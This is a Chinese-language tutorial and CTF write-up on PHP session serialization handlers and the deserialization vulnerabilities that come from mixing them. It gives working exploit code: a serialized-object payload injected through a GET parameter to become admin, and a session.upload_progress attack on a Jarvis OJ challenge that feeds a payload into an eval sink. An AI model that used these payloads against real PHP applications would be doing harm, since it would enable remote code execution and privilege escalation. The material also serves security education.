PHP Session 序列化机制及其引发的安全漏洞
0x00 前言
由于HTTP协议是无状态的,因此其在处理登陆等需要长时间维持的状态时就显得很无力了,因此引入了Session,将这种状态以文件的形式存储在服务端。虽说在服务端存储Session尽可能的避免了Cookie的在客户端本地存储的安全性问题,但若是开发人员在开发过程中使用不当,便会引发一些严重的安全问题。
0x01 Session配置选项及存储方式
几个主要的与Session存储和序列化存储有关的配置选项:
session.save_path="" 设置session的存储路径
session.save_handler="" 设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string 定义用来序列化/反序列化的处理器名字。默认使用php (php>=5.4默认 php_serialize)
session.serialize_handler
主要了解一下session.serialize_handler
选项
可以理解为,该配置表明了php在存储Session时的方式
例:
<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['name'] = 'annevi';
?>
当session.serialize_handler设置为php时 session 的内容为 :name|s:6:"annevi";
name 为键名,s:6:"annevi
则是 serialize("annevi")
的结果,键名和键值之间通过 |
符号分割。
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'annevi';
?>
在这种情况下,Session文件的内容是a:1:{s:4:"name";s:6:"annevi";}
,使用php_serialize会将session中的key和value都进行序列化。
0x02 Session 序列化引擎使用不当漏洞
介绍
上面提到过,session在序列化存储的时候有多种不同的方式,因此要是php在反序列化我们存储的session数据时所使用的session.serialize_handler
不同,那么就有可能引发安全问题,例如:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['username'] = '|O:6:"Annevi":0:{}';
以上的SESSION采用了 php_serialize 的存储方式,在tmp目录下 我们可以看到session被存储为
a:1:{s:8:"username";s:18:"|o:6:"Annevi":0:{}";}
我们在读取session时,采用php
处理引擎:
<?php
ini_set('session.serialize_handler', 'php');
session_start();
var_dump($_SESSION);
发现我们输入的字符串在php
引擎的反序列化作用下得到了Annevi
类,这是因为当使用php引擎的时候,php引擎会以**|**作为作为key和value的分隔符,那么就会将a:1:{s:8:"username";s:18:"
作为SESSION的key,将o:6:"Annevi":0:{}
作为value,进行反序列化,最后就会得到Annevi这个类。这也就导致了反序列化漏洞。
测试demo
Demo1.php
<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['username'] = @$_GET['username'];
echo "<a href='test3.php' >gogogo</a>";
Demo2.php
<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();
Class demo {
var $username;
public function __construct()
{
$this->username = 'guest';
//$this->test();
}
public function __destruct()
{
if ($this->username == 'admin') {
echo "yes";
} else {
echo "nonono!";
}
}
}
首先访问demo1.php,构造反序列化exp如下:
<?php
Class demo{
public $username;
public function __construct(){
$this->username = 'admin';
}
}
$obj = new demo();
echo serialize($obj);
//O:4:"demo":1:{s:8:"username";s:5:"admin";}
提交payload:
http://demo/demo1.php?username=|O:4:"demo":1:{s:8:"username";s:5:"admin";}
再访问demo2.php
成功将 username
的值通过反序列化漏洞修改为admin
.
0x03 利用session.upload_progress 实现反序列化攻击
介绍
该功能在 php版本>=5.4 存在 主要用于显示文件上传时的进度
主要有以下几个选项:
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
第一个 enabled=on 就表明了upload_progress 处于开启状态。也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中。
第二个 cleanup = on 表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
第三个 prefix = "upload_progress_" 和 第四个 name 拼接 将表示为session中的键名。 name的值是可控的。
总的来说,通过php.ini配置session.upload_progress之后,文件上传时,就会创建key为session.upload_progress.prefix+session.upload_progress.name
的Session。其中session.upload_progress.prefix
是配置文件中定义的,session.upload_progress.name
需要在form表单提交时,一并提交才可以。
样例 —— Jarvis OJ PHPINFO
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
可以看到,本题使用了php
序列化引擎,且__destruct
方法中存在eval
函数,因此需要想办法控制eval函数的参数从而getshell.
但是并没有发现上面讲到过的使用不同的php序列化/反序列化引擎,也没有明显的可以直接控制session的地方,所以这条路应该是走不通了。
在代码中也没有参数可控的反序列化点,但是经过扫描,发现存在phpinfo.php
,查看phpinfo信息。
发现session.upload_progress.enabled
处于打开状态,因此就可以利用其向session中写入数据。
首先写一个向该程序上传文件的页面,当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名的变量时,就可以将filename的值赋值到session中。所以可以通过Session Upload Progress
来设置session.从phpinfo中可以得知,session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
,因此 post一个名为PHP_SESSION_UPLOAD_PROGRESS
的参数,值随意。
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
接下来就要构造payload,将payload作为filename的值提交,从而赋值给session.
exp
<?php
Class OowoO {
public $mdzz;
public function __construct()
{
$this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
}
}
$obj = new OowoO();
$ser = serialize($obj);
$ser = addslashes($ser);
$ser = str_replace("O:5","|O:5",$ser);
echo $ser;
payload
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
//转义双引号是为了与原有的双引号区分开来。 加'|'
可以看到,代码已经执行成功了,接下来只需要利用file_get_contents
读取flag文件的内容即可。
参考链接: